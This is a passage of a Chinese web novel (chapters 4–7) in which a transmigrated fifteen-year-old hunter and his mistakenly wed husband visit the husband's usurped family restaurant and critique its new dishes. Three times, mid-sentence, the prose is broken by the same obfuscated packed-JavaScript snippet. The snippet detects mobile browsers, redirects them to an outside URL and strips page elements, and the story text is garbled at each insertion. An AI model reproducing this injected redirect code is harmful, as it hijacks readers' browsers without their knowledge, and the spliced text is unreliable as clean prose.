姜幸回屋换了一身清清素素的蓝布衣裳,再用一根发带将头发绑起一个发髻,面容干净清爽没有一点脂粉气,和昨晚一身红嫁衣的大美人简直两模两样。 燕程春左瞧瞧右瞧瞧,这样也挺好看,只是感觉不像姜幸了,他问道:“怎么没戴你的发簪?” 昨夜的姜幸红衣大袖下一头珠钗,发如瀑布,形容婉约又明艳,当真好看的要命,让燕程春这个纯现代人十分惊艳。 姜行摸摸自己沾着水珠的发尾,小声道:“太扎眼了……” 他现在已经不是福源酒楼的少东家了,只是长明村一个小小的已婚哥儿,不想给燕程春惹多余的麻烦。 “这有什么的。”燕程春擦擦手,问他,“你的簪子呢?” 姜幸前半辈子锦衣玉食长大,成亲后却连一根簪子都不能戴,这像什么话? 姜幸不明白燕程春的意思,只听话地把簪子拿出来。 燕程春仔细看了看,惊讶,“做工真精致啊。” 簪子就是昨夜他用来威胁燕程春的发簪,造型是一根风骨绰约的青竹,簪尾还坠着流苏和明珠,连接处手艺精湛,毫无链接痕迹,燕程春真是被这个大昭朝代的工匠震撼了。 燕程春只比姜幸矮了一点,所以他稍微一抬脚,便把簪子插入姜行的发髻中。 姜幸第一次被外男戴入发簪,他能闻到燕程春身上有好闻的皂角香气,他捂着自己的胸口,心快要跳出来了似的,忍不住晃晃头,流苏碰撞时发出清脆好听的声音,却渐渐与心跳的声音重合。 “好看。” 燕程春看着姜幸,和姜幸头上的发簪,不知道夸赞的是发簪,还是戴着发簪的人。 “以后不要再拿簪子伤害自己了。伤着自己的性命,反而让仇者快意。”燕程春看看姜幸脖颈上的红痕,都一晚上了,还没消失,看着好像还有了一些其他的红斑,也不知道他睡觉时怎么睡得,莫不是抓伤自己了? “……”姜幸摸自己的脖子,‘嗯嗯’点头。 早食姜幸吃的不多,只要了一碗鸡蛋汤,像小孩似的抱着碗,小口小口抿着。 燕程春吃过一个饼子后说:“按照规矩你三日后还要回门,但到时候姜家会有所准备,咱们去了肯定讨不到好,所以今日先去看看,暗中打听打听情况,也好做个准备。” “好……”姜幸捧着碗,疑惑的眼神不停往燕程春身上飞去。 眼前的小相公清俊年幼,明明只有十五岁,考虑事情为何这样周祥?真是奇怪嘞。 燕程春自是感受到了姜幸的疑惑,只是他不好解释。 他上辈子虽然死的早,但因为从小在外面奔波跑比赛,见过的肮脏事和混人不比成年人少。 这样拔苗助长的结果,就是让他比同龄人格外早熟。 长明村距离镇上不算远,但是若要去镇上,也得做牛车才行。 村口的同阿叔便是村子里赶牛车的人,燕程春带着姜幸过去坐车时,同阿叔那边已经聚集了好些人,都是村子里准备去镇上的。 其中不少都是燕程春熟悉的长辈,昨日都来吃过燕程春的婚宴,此刻看到燕程春和姜幸同时出现在村口,都忍不住笑燕程春年纪小沉不住气。 上车后,大家把燕程春和姜幸挤到一处,忍不住调侃这对刚成亲的小夫夫。 “春小子,你昨个儿刚成亲,今天就要去镇上啊?” “还把你夫郎带出来了,怎么一点都不知道心疼人呢。” “瞧瞧,这夫郎脖子上还有好些红痕没消下去呢。看来咱们村又要有小娃娃咯。” 最后说话的是燕程春的刘婶婶,她看到姜幸一瘸一拐的姿态,却未多言,只是拉着姜幸的手,心疼地看着姜幸的脖子,“这春小子嘴巴真狠,怎的像小狗一样。” 燕程春五岁来到长明村,差不多就是长明村这些叔叔婶婶把他养大的,如今面对调侃他的长辈,他也不好直言反驳,只能哀哀受着,脸直接红成一个大西红柿。 直到听到刘婶婶的话,他因为没听明白刘婶婶在说什么,这才张开嘴,眉目清明地看着刘婶婶,“婶子,他那红痕是自己睡觉抓的啊。” “这……”刘婶婶看看燕程春单纯无辜的眼神,张了几下嘴,竟然不好意思在燕程春面前讲出口,“春小子,你自个儿领悟吧!” 姜幸眨眨眼,施施柔声解释,“婶子,这是我昨夜自己抠的。骤然换了环境,我有些不习惯,于是想得多了一些。” “哎,哎。”刘婶婶握着姜幸的手,理解姜幸作为新婚夫郎的担忧,“这镇上来的夫郎就是不一样,你瞧这手,和嫩豆腐似的……小姜啊,以后好好和春小子过日子,虽然他年纪是比你小了一点,但既然你愿意嫁过来,那就放宽心,春小子不是那等不懂事的小孩,他之前一个人过得可好了,比咱们村很多二十多的汉子还勤快,你只要好好跟着他,保准吃不了苦受不了罪。” “瞧瞧,我们小姜夫郎头上这个簪子,真好看。” 大家都知道小姜夫郎是燕程春从镇子上娶回家的,虽然不知道这个哥儿家境到底如何,但也能猜到小姜夫郎家里应该是不差的。 “这样便好,这样便好,你呀,手里有银子,春小子有力气有技术,你们小两口的日子会越过越好的。” 姜幸摸着自己的簪子,羞涩抿唇。 原先他还担心村子里的人看到他的簪子会觉得他奢靡,不会过日子,如今看来,村子里的人大多淳朴善良。 提到燕程春,其他人又有了话头,纷纷开始夸奖燕程春。 “小姜夫郎,你莫担心,在咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583527|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们村,春小子是这个。”说话的叔叔伯伯竖起大拇指,“每年他都带着村子里的人上山打猎,猎到的东西全都平分,从不贪墨。” “春小子虽然没有父母帮衬,可他争气呀,自己一个人置办下那么多东西,现在还娶了你,可比好些懒汉强多了。”这人说着说着,又去看同车的另一个汉子,“我们家大昌要是有春小子一本好就好咯,也不至于到现在都没娶到媳妇,相看一个坏一个,人家都嫌大昌没本事啊!” 那汉子被自己老娘嘲,抱着胳膊闷不吭声,转头装死。 姜幸来之前都以为自己要嫁友人,如今换了一个相公,他还不了解哩,于是仔仔细细听着这些长辈们说的话,从这些碎片中拼凑出一个完整的小相公。 他越听越觉得,这小相公除去年纪,分明就是一个上佳的夫婿人选,就算放到镇子上,配一些小姐哥儿也是绰绰有余的。 那姜家挑来挑去,最后还给他找了一门这么好的亲事,真是搬起石头砸自己的脚。 那些长辈们夸的都是原主,不是现在的燕程春,燕程春听着实在没有切实的感受,于是姜幸在听大家对燕程春的夸赞,燕程春则托着腮看姜幸认真倾听的模样。 听着听着,长辈们讲累了,闭上嘴,一个靠一个,在牛车上昏昏欲睡。 姜幸也收回耳朵,和燕程春紧紧依靠。 燕程春惦记着姜幸脖子上的红痕,指尖点了点,“你这里,不是自己抓的吧。” 刚开始燕程春也以为是姜幸晚上睡觉不老实,可听刘婶婶那意思,不像姜幸自己弄的。 “不是。”姜幸摇摇头,“其实……其实是因为昨夜盖的被子有些磨人,这里应当是被磨红了。” 姜幸睡觉喜欢掖被子到脖子上,睡了一夜,难免有磨红皮肤的情况,只是不好意思告诉燕程春。 他知晓,燕程春所准备的被褥都是崭新的。 即便是最普通的料子,那也是小相公的一片心意,他如今已经不再是福源酒楼的少东家,就该学着习惯这样的生活才是。 “这样啊……”相比较姜幸的复杂心思,燕程春没觉得有什么。 之前上学的时候,学校发的被褥质量也一般般,不少同学盖了一天就开始浑身发痒,然后就换成自己的被褥了。 人的皮肤就是很敏感,这样太正常了。 “等会去镇子上,看看单独给你买一床更舒服一点的吧。起码不会再有红痕。” 燕程春看久了,竟然觉得姜幸白皙的皮肤上有几处红痕碍眼了。 “买,买床新的?”姜幸傻愣愣的,不敢相信燕程春说了什么。 只是因为他盖着不舒服,便要给他买一床新的被褥,小相公知不知道他在说什么? 旁的人家里,再宠夫郎,也没有说夫郎要什么就买什么的,更何况小相公要娶的夫郎,并不是他。 而他现在家里的东西,都是他上山拼死拼活挣下来的,为何要为了一个错嫁的夫郎这般用心呢? “对啊,买床你盖着不会有红痕的被子,这有啥的。” 燕程春想的很简单,他觉得被子不舒服那就换一床呗。 反正现在盖的被褥就是原主自己摸索着买的,而原主买的时候就想好了,若是新夫郎不喜欢,那就换成夫郎喜欢的,为此,原主还单独留下了一部分银钱。 既然是原主单独放出来的银钱,燕程春也不打算用作他处,给姜幸用刚刚好。 5. 福源酒楼 燕程春没把买床新被子这件事放心上,他说完就开始习惯性打瞌睡。 没办法,上辈子他正是喜欢熬夜打游戏研究菜谱,早上睡懒觉的年纪,今天能这么早起床,还是全靠原主的良好习惯。 燕程春小鸡啄米的时候,姜幸一个人抱着胳膊,坐着燕程春的衣角,垂下眼睑,盯着燕程春的衣角不知道在想什么。 半晌,燕程春实在没抗住牛车晃晃悠悠的律动,闭上了眼,紧接着便往姜幸这边歪了一下。 姜幸连忙用手托住小相公的脑袋,看着燕程春被挤压出来的脸颊肉,忍俊不禁,黑瞳中荡着自己都不知道的柔情。 他的小郎君现在是十五岁的年纪,真好一个顶顶好的年纪,还是个成长中的孩子呢。 燕程春美美睡了一个回笼觉,再醒过来的时候,他们已经到了目的地。 到达镇子上的时候,约莫着是早上十点。 众人看看日头,约定好下午回村的时间就各自散去,而同大叔则顺手再拉一批要离开镇子的人,给他们送到各个村子里。 姜幸看着熟悉的街道,一想到故友相见的场景,一时之间心中五味杂陈,忍不住攥紧手里的衣角。 一天之前姜幸还是镇子上的福源酒楼少东家,一天之后他便是燕程春的夫郎,再来镇上,成了‘出远门’。 燕程春两手顶在额头,给自己的眼睛遮阳,往前走了两步发现姜幸还在原地站着,他回头,“姜幸,你还好吗?” 这个小哥儿怎么随时随地都在发呆啊,难道这就是网上说的,拥有小世界的人会随时放空自己? “我没事。”姜幸深深呼吸,反复告诫自己,从今往后不管遇到什么刁难的人和事,他都要撑起来。 因为他身边没有别人了,他也不能连累燕程春。 “咱们先去酒楼瞧瞧,我得去和大管家好好聊一聊。”燕程春一边吐槽大管家的不靠谱,一边和姜幸并排往前走,接受城门口小将的检查。 检查过后,他们二人顺利进城。 城墙之外是林荫小道和大片大片看不到边际的森林,而一墙之后,则是井然有序的街道店铺。 家家户户挂着招客的迎客幡,顺着城外而来的清风摇摇晃晃。 往来的游人穿着简便利索的绑腕程子衣,要么背着行货要么挎着菜篓,人群吵闹熙熙攘攘,摩肩继踵。 而那些女娘哥儿略施粉黛,明媚如朝阳,半点没有燕程春想象中的羞涩内向,全都挽着袖子奔波在外面讨生活。 燕程春差点脱口而出一句‘真繁华’,幸好他还记得原主经常来镇子里卖山货,把那句惊叹咽了下去。 根据原主的记忆,大昭现任皇帝登基十载,去年才刚刚平定所有叛乱份子收拢中央权力,整个国家正是百废待兴,极尽发展的时候,不然皇帝也不会想到用老太后七十大寿,办一场万国来朝的寿宴,彰显皇家的权利和实力。 按照大昭的规矩,所有城市都需要严格划分生活区域,但鉴于现在他们所在的聚仙镇只是一个小镇子,便没有那么严苛的要求,县令只把一些赌坊和青楼单独划到一片儿,其他的便由各地居民自由落户了。 燕程春和姜幸惦记着福源酒楼,并没有闲逛,两个人快步走到福源酒楼所在的街道。 还不等他们踏进去,就看到前方福源酒楼的位置,站着乌央乌央一群人。 燕程春摸摸头,“我已经一个月不来了,这是怎么了?” 原主一个月前定下了成亲的日子后,便不再来镇子上,反而留在长明村置备各种成婚的东西,所以福源酒楼如今怎么样,燕程春还真从原主的记忆中找不到答案。 “我也不知。”姜幸凝眸,心中有不好的预感,“我大伯既然将我嫁了出去,必然是要对酒楼做些什么……” 二人正想往前挤一挤,就听得身旁的人在闲话聊天。 燕程春竖起耳朵听了一嘴,这才明白福源酒楼发生了什么。 “原来你大伯重新装置了酒楼,今儿重新开业呢。”燕程春端起胳膊,啧啧称奇,“你这个姜家,这是打算把你的福源酒楼收归己有啊。” 磋磨幼子,窃夺产业,这不是标准的宅斗戏码么? “我竟不知……”姜幸绞着衣袖,眼中恨意加深,“福源酒楼的一砖一瓦都是我父我母亲手搭建,他们怎么敢……怎么敢!” 姜幸还要说什么,突然,人群又沸腾起来。 凑在福源酒楼边上看热闹的众人开始吵吵嚷嚷,活像看到什么好事儿一样。 “瞧瞧,香客来酒楼的少东家过来送礼了。” “我听说这香客来酒楼和福源酒楼好像一直关系不错啊?” “何止啊,香客来少东家和福源酒楼的少东家从小一块长大呢。不过福源酒楼的少东家是个哥儿,鲜少出门,应该已经嫁人了吧?” “香客来少东家今年二十有八,若是青梅竹马,那福源酒楼的少爷也得二十好几了,准是嫁人了。” “只是少爷嫁人,这福源酒楼怎的没动静呢?我还以为能蹭顿饭吃呢!” “想你这美事!不过今天咱们有口福了,这福源酒楼重新开业,听说免两天餐食费呢!” “当真?!” “真真的,待会儿咱们用力往里面挤,保准第一批吃上!” 听完全程的燕程春挑了挑眉,免费的吃食? 这他就感兴趣了。 原主的记忆中福源酒楼的以菜色闻名,好歹他上辈子也是半个大厨,怎么能错过呢? 姜幸越过人群看到福源酒楼上的牌匾,目含深深怀念,“郎君,我们等会能否进去看看?” 他好想回家看看。 燕程春没意见,但是他担心姜幸和自己回被人认出来,眼珠子转了转,看到旁边许多哥儿小姐都带着面纱,心生一计,“你等会儿。” 他们旁边就有一个卖珠钗面纱的摊位,燕程春选了一款白色遮面,递给姜幸,“你带上这个,他们现在还以为我磋磨你呢,先别被他们认出来,免得打草惊蛇。” 他自己则戴了另一个斗笠。 “好。”姜幸没想到燕程春连这都想到了,心中熨帖不已,连忙系好面纱,想让燕程春看看,“怎么样?戴好了吗?” “好看啊。”燕程春看着半遮面的姜幸,姣好的下半张脸被挡住,只有一双鸦羽睫毛,黝黑瞳孔的眼睛留在外面,却格外显得这双眼睛情意绵绵,令人心动。 他毫不犹豫竖起大拇指,夸姜幸好容颜,“我发现长得好的人真是不论什么造型都很好看,正所谓……那句诗怎么念来着,犹抱琵琶半遮面。” 姜幸又被夸奖了,心中笑呵呵的,憨笑道:“小郎君还读过书呢?” “没读过,哪有那个条件。”燕程春随意摆摆手,他读过书,但原主并没有,原主只在来送货的时候偶尔听过那么几句,“这都是我从外面听来的。对了姜幸,你是不是读过书啊?” “读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583528|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的。”姜幸点点头,虽然他不事生产,又懒又馋,但从小父母便给他请夫子,教他读书,虽说科考是不可能,但平素看两本书没什么阻碍。 燕程春感慨,“真好。” 他读的都是现代知识,改日也得找两本古代书来看看,免得露馅。 姜幸眉心紧促,略带忧虑地看着燕程春,他这位小相公是不是也想读书? 是了,但凡有父有母的,哪家不是拼尽全力送孩子去书院读书,只有他的小相公年纪轻轻便要自己操持一个家,让自己健康长大…… 姜幸觉得他的郎君真是个凄苦的孩子。 若是以后有机会,他定要找来那些启蒙的书籍……虽然他学问功课也一般,但启个蒙应当是可以的。 人群慢慢开始攒动,前方的人一个接一个踏进福源酒楼,燕程春顾不上别的,握着姜幸的手腕便往前挤。 因着福源酒楼名气大,凡是路过的都想过来凑个热闹,燕程春乐呵呵发现与他们一样带着斗笠,藏着面容的人不胜枚举,与那些江湖气息打扮的人相比,他们两个的装扮都算朴素的了。 姜幸找了一个角落坐下,一坐下便忍不住盯着墙面看个不停,末了,指着某处痕迹,高兴地和燕程春说:“郎君你瞧,这里的划痕是我七岁时留下的,当时我一头撞在这上面,我破了皮,它掉了漆面。” “你那头也忒硬了。”燕程春觉得好笑。 “还有这里这里。”姜幸又悄悄指着屋顶某个地方,“这里的围栏是我放上去的,我爹举着我,我亲手放进去。” 燕程春跟着姜幸,把福源酒楼每一个角落全都看了一遍,福源酒楼承载着他过去二十多年的记忆,姜幸沉浸在记忆中无法自拔。 姜幸每说一处地方,眼睛便会更弯一寸,燕程春捧着腮听他唠叨,时不时还会回应一二。 不一会儿,燕程春看到一个陌生的人,穿着曾经大管家的衣服,人模人样的走到酒楼中央,拍了拍手,高声喝道:“诸位,今天是我们福源酒楼改头换面开业第一天,承蒙诸位赏脸,在下感激不尽。” “咦,你不是这儿的大管家啊!原先的大管家可比你富态!” 现在这位大管家拱手笑笑:“原先的那位回家修养去了,承蒙姜老爷不嫌弃,我才得了这份好差事!” “大管家,我瞧着你们这也没什么变化。”坐在大管家身旁的一人捧场道,“你悄悄,这桌椅板凳和之前没有两样,你们那改头换面,都换在哪儿了啊?” 大管家捻须一笑,“自然是我们福源酒楼的菜色上,诸位都知,我们酒楼的姜老板和老板娘一年前不幸遇匪患,家中只留下一个小哥儿,幸好有姜老板族中亲戚过来执掌大权,才不叫我们这酒楼倒下去。” “恰好,我们这位新的姜老板也懂几份食业之道,历时三个月之久,改良了我们福源酒楼的菜谱,这才有了现在改头换面的福源酒楼!” “我们姜老板说了,今日凡是新菜色,全部免费,酒水畅饮!万望诸位日后还是如之前那般,多多照看我们福源酒楼!” “新菜色?”燕程春眉尾一跳,姜夫人传承多年的菜谱,这个姜家大伯三个月就给改良啦? 姜幸攥拳气愤,“他们竟敢私自改动我娘的菜谱,真是欺人太甚!” “莫急。我们先尝尝味道,说不定就是瞎改一通呢。”燕程春微笑。 论品菜,他从会走路就在品了,他倒要看看这位姜家大伯改良出什么来。 6. 品菜 福源酒楼换了新的大管家,这事儿对姜幸来说不是个好兆头。 姜幸衣袖下的手攥成拳,神色凝重,“原先的大管家跟着我父我母将近十五年,后来又看着我长大,怎会在这个时候抛下福源酒楼回家呢?” “搞不好觉得对不起你,无颜见你。”燕程春倒上桌上的免费茶水,给姜幸推过去,“你悄悄撩开面纱喝一口。” 说着,他帮姜幸撩起面纱。 姜幸纵然不渴,也还是听话地低头轻抿了半杯,他咂咂嘴,“这茶叶也换了,不如以前的有茶香。” “你那伯父这是将福源酒楼整个大换血啊。”燕程春摸摸下巴,想着刚才听到的八卦,“听说今天香客来酒楼的少东家——” 话音未落,正前方便走过来一个锦衣华服的青年,他穿着上好的料子,手里拎着一个鸟笼,一张容颜说丑不是丑,但是说俊也不算俊,只能夸奖一句体态宽阔,剑眉星目罢了。 姜幸瞧着,忍不住侧头去看身旁的燕程春,燕程春正低头研究这古代的瓷器,没注意到姜幸的目光。 他半面藏在斗笠之下,午时的阳光透过斗笠轻轻打在燕程春的鼻尖,下巴,顺延到领口处,细碎的微光如水面浮粼一般落在燕程春棱角分明的下半张脸。 姜幸看着看着,竟然觉得自己这位认识十多年的竹马的容颜,远不如身旁十五岁的小郎君好看。 香客来的少东家一过来,那位新任大管家立马后撤一步,恭恭敬敬地敬礼,小声和少东家解释了一下方才的情形。 少东家点点头,将受众鸟笼递给他,面朝诸位食客,朗声道:“大家都是镇子上的老街坊,有不少叔叔婶婶也是看着我长大的,咱们明人不说暗话,从前福源酒楼和我们香客来便是情同手足的关系,如今福源酒楼遭逢大变,我们香客来也不能袖手旁边。万幸还有一位姜老爷,不远万里,从老家赶来接手福源酒楼,这才没让这座酒楼倒下。” “如今香客来和福源酒楼更是情谊深厚,今后将不分彼此,共同合作,继续为咱们聚仙镇的食业带来新的生机!” 少东家说话铿锵有力,感染力颇强,他话音一落,底下的食客便纷纷鼓掌,似乎已经看到镇上两大酒楼携手的伟大画面。 只是还有那记着福源酒楼真正少东家的人,“少东家,那福源酒楼不是还有个哥儿少爷吗?此人去哪了?” 提到姜幸,香客来的少东家立刻唉声叹气,“不瞒诸位,幸哥儿遭逢巨变,现在身体情况也不好,不想继续留在这伤心之地,所幸之前姜伯父为他找寻了一门好亲事,现在已经成亲去了。” “幸哥儿是哥儿,具体的私事在下也不好与诸位多讲,诸位只消明白,袁某与姜家,那是真真切切的情谊!”说到最后,自称袁某的少东家眼含热泪,对着福源酒楼的牌匾深深一拜,似乎万般情谊,尽在不言中。 福源酒楼之前与香客来确实经常往来,镇子上的人也都知道,如今这位袁少爷都这么说了,众人也不再疑惑,全都开始吆喝要尝尝福源酒楼的新菜色 袁少爷笑呵呵地吩咐大管家照顾好这些邻居街坊们,自己则提着鸟笼上了二楼。 二楼似乎还有包间,应当坐着一些商贾员外。 燕程春看到袁少爷的身影消失,这才将目光拿下来。 姜幸听完袁少爷一番唱作俱佳的表演,沉默了许久。 燕程春以为他怎么了,打眼一瞧,这位小哥儿又开始啪嗒啪嗒地掉眼泪。 “不是,你……你咋又哭了!”燕程春从未见过这么爱哭的男人,手忙脚乱用面纱去帮人擦眼泪,刚抬起来又觉得会让人发现姜幸的身份,只能用自己干净的衣袖捻去姜幸面颊上的热泪。 “郎君,郎君……”姜幸眼眶带泪,盈盈看着燕程春喊了两声燕程春‘郎君’,正如他所说的那样,万般委屈都在腹腔,憋得他眼睑嫣红,鼻尖也嫣红,却只是小声道,“好委屈,我伤心。” 燕程春仿佛又看到那个清透漂亮的樱桃奶冻,他叹气,“莫哭了,我知晓。” 从少不知事的少爷,变成现在家业全无的小可怜,姜幸没有大哭大闹,自暴自弃已经很不错了。 姜幸起先是委屈,自己哭了一会儿就好了,哭过之后就只剩下愤怒,他抹掉脸上的眼泪,气愤不已,“郎君,我与袁哥……袁贼人相识将近十五年,没想到他竟然是这样的人。我父母还抱过他,他怎么敢这样待我?!他父母就不管他么?!” “你焉知他父母没有参与呢?”燕程春觉得姜幸真的是蠢笨,“姜幸啊姜幸,你父母实在把你保护得太好了些。不过幸好,上天不会苛待笨蛋,老天爷没有让你嫁到一个坏人家,否则你可怎么办啊。” “……”姜幸摸摸自己濡湿的脸,吞咽口水,“怎么骂我一句还要夸自己一句……” “你也看到了,如今的福源酒楼已不是你记忆中的模样。”燕程春觉得还是说点正事吧,“你待如何?附近可有亲朋好友能帮你的?” “……我……”姜幸目露迷茫,“郎君,原来我想着,可以去找曾经相识的长辈帮忙,可经你这么一说,我、我有些不敢了。” 他害怕那些长辈一个个褪去曾经善良温和的模样,变成他不认识的人。 也害怕如果真的遇到事,自己这点本事,还不够人家塞牙缝的。 燕程春看出姜幸的迷茫,恰好小厮陆陆续续端着新菜色上席,燕程春便道:“算了,先来尝尝这位姜老爷和袁少东家的手艺吧。” 姜幸一手布菜,一手严肃地纠正燕程春,“郎君,是袁贼人。莫再用少东家称呼他,他不配。以后都用袁贼人称呼他便可。” “……”燕程春咬了一筷子青蔬菜,默默道,“智商不高,还挺记仇……” 姜幸也尝了一筷子,燕程春吃的是青蔬,姜幸则尝了尝上的红肉。 两个人同时动筷,又同时放下手里的筷子,神色莫名。 燕程春用筷子指着自己面前的蔬菜,小声:“这菜……虽然是清炒山野菜,可野菜根去的不干净,菜心也炒得老了,用料上似乎多放了一勺盐,味道有些发苦……嗯,对,并不是野菜本身的味道,就是用料克数的问题。” 姜幸的反应却和燕程春完全相反,他把自己那盘酱肉推到燕程春眼前,“可能青菜不好吃,郎君尝尝这道肉菜,这红肉肥软烂,酱汁用料足够,想来下了一番功夫。” 燕程春伸出筷子尝了一口姜幸给他的酱肉,可他品出来一点不同的味道,冷着脸放下筷子,“这肉的厚薄都不一样,一面刀快,一面刀钝,一片肉有两个口感,岂能好吃?” 姜幸吃了一口燕程春那边的青菜,在嘴里品味了一番,他只尝出来有点苦,别的什么都没有…… 他有些不敢说了,他觉得这两道菜都十分好吃。 姜幸没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583529|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又偷偷吃了一筷子。 姜幸看到,立马用自己的筷子打了姜幸筷子一下,冷肃道:“这两道菜都不合格,你身为福源酒楼的前东家,这就接受了?” “……没,没。”姜幸皱起眉毛,收回自己的筷子,“可我实在尝不出哪里不行了……郎君,你有本事,你教教我吧。” “不急,后面的菜来了。”燕程春一提到品菜这种老本行,坐得端端正正,气场也随之严肃起来。 姜幸在旁边,感觉到燕程春有些变化,觉得他有些吓人,瞧瞧往外挪了挪。 可挪得太远了,姜幸又觉得不开心,趁着燕程春认真品菜的时候,他又挪了回来。 福源酒楼此次一共推出六款新菜色,每一桌都上了一小碟,供给大家品尝,这些新菜色是免费的,可吃不饱,众人若是要点其他菜,那就不免费了。 大多数江湖人都像燕程春他们一般,只为来凑个热闹,尝一尝新菜色,所以多数都没有再额外点菜。 福源酒楼也想到这个结果,并不觉得惊讶,左右他们今儿是为了打名声出去的,也不缺这点银钱。 燕程春没注意到姜幸的小动作,他一心一意扑在后面这几道菜上。 第三道是经典的白灼蔬菜,燕程春只尝了一筷子便说:“火候把握得不行,太早了,汤没吊好,也没入味到极致。” 姜幸紧跟着尝了一筷子,说不出一二三来,只觉得这道菜好好吃。 第四道肉花卷福禄寿丸子,面粉做成的饼子薄薄一片,被雕成花朵的模样,托着最中心的丸子,整朵花还被浇上了浓郁的汁头。 燕程春看卖相,觉得应该不错,可吃了一个丸子后,咽下方才的夸赞,“饼没发酵好,葱花加的有些多了,喧宾夺主。肉丸做的不够紧实弹压,浇头用了酱汁,可丸子少了一味搭配的菜沫。可惜。” 姜幸尝了一筷子,又觉得这道菜好好吃。 第五道是炖合菜,许多种类的蔬菜和肉放多一锅里炖,稍有不慎便会炖出奇怪的味道。 燕程春喝了一口汤,便尝出来:“这人炖的时候是一口气全放进去的,蔬菜和肉的味道已经混杂了。” ……姜幸继续尝了一筷子,觉得这道菜也好好吃。 最后一道是一蛊三鲜菌汤,燕程春所有期待都留在这道汤上,他在嘴中细细品味,终究还是放下勺子,摇头,“菌类选品不对,用料偏了。” 姜幸……姜幸偷偷把剩下的喝完,不忘舔舔嘴巴。 燕程春看姜幸像个偷油的小老鼠,忍不住笑道:“你是真觉得这六道菜都不错?” “真的呀。”姜幸点点头,“虽然我做菜不行,可我从小也是闻着福源酒楼后厨的菜香长大的,我是真觉得味道不错,而且你瞧,不光是我,周围的食客都挺满意呢。” 确实,除了他们这一桌安安静静外,四面八方的食客都一个接一个地为福源酒楼和香客来叫好。 “好好好!福源酒楼的大厨师本事又厉害了啊!” “真香啊,最后这道汤真是鲜美至极!我从未喝过这么鲜美的菌汤!” “如今听说陛下正在招募民间厨师做寿宴厨师,我看咱们这福源酒楼的大师傅也能去试一试了!” “……” 燕程春听着,叹息摇头,“还差一点。” 做吃食,少一点,多一点都不是那个味儿,所以总是差一点。 7. 一块过日子吧 姜幸疑惑地看着燕程春,“郎君,你不是猎户么?为何懂这些道理?” 这些吃食道理,若是没有三年五载的经验,如何能品出来? 燕程春被质疑身份,老神在在地放下筷子,“我一直懂,只是先前打猎为生,无需展露出来罢了。” “原来如此……”姜幸对燕程春知之甚少,听他这么说了,自然选择相信他。 六道新菜色已经品尝完毕,福源酒楼也看过了,他们还留在这儿意义不大,可燕程春还是认真地询问姜幸,“如何,你想好今后要怎么做了么?” “你若是想投奔其他长辈,我不拦你。今日便可去做和离登记。只是要委屈你背负一个和离的名声了。” “郎君……”姜幸怔怔地看着燕程春,想着从昨夜到现在的相处,他骤然抓紧衣角小声道:“郎君……我,我若是想跟着你,继续做你的夫郎呢?” “什么?”燕程春本以为姜幸会选择离开,他惊讶,“为何要留下……你也看到了,我一个穷汉子,什么都没有。” “郎君是好人,我如今无处可去,且不知道以前的旧相识还是否可靠,不如继续跟着郎君。”姜幸如此说道,可他又微微红了脸颊,说,“况且,我与郎君已经成亲,既已成亲,便是夫妻,哪能说离便离呢……” “那不过是个乌龙——”燕程春想解释,想劝姜幸不必遵守成亲的礼仪,可他看到姜幸陀红的脸颊后,什么都明白了。 虽然他们的成亲是个乌龙,可对于姜幸这个小哥儿来说,自己依然是他的第一个夫君,也是他今后过日子的顶梁柱。 姜幸或许已从心底认定自己为他的夫,他又如何能把自己的夫郎赶走呢? 罢了罢了,就是多放一副碗筷罢了,既然已经错嫁,那就将错就错便是。 回去的时候,燕程春又和姜幸去了医馆,大夫果然和姜幸说的一样,没什么大碍,只是需要养着,再养个一百来天便没事了。 燕程春点点头,姜幸却脸色发白。 新娶的夫郎要在床上修养一百多天,这放在哪一户农家都是不可能的事情,若不是燕程春品行上佳,他怕是已经被夫家厌弃了。 燕程春还记着要去买床新的被子,可姜幸拉住他的手,“郎君,我此次带来的嫁妆里有不少被褥,昨夜是我太惊慌,忘记告诉你了,不用买新的,咱们不费那个钱,回去把我的嫁妆拆开吧。” 他已经拖累燕程春了,不能再让燕程春为他破费,姜幸如此想着。 “你的嫁妆?”燕程春想起来了,原主记忆中,姜幸似乎是带着嫁妆进门的。 只是在原主的记忆中,姜幸的嫁妆并不多,也不大,看着并不能放下被褥这些大件,原主还是因为怕姜幸看到嫁妆觉得内疚才放到柜子里的。 姜幸尚且不知自己的嫁妆如何,他正盘算怎么将自己的嫁妆,变成好用的银钱去补贴燕程春,好让燕程春的日子过好一些。 回到长明村的小土房子后,姜幸立刻在屋里翻他的嫁妆。 燕程春去井边喝了口水,还没咽下去,就听到屋里的小哥儿尖叫,“这帮贼人!我定要一个一个把他们送到官府里吃板子!” 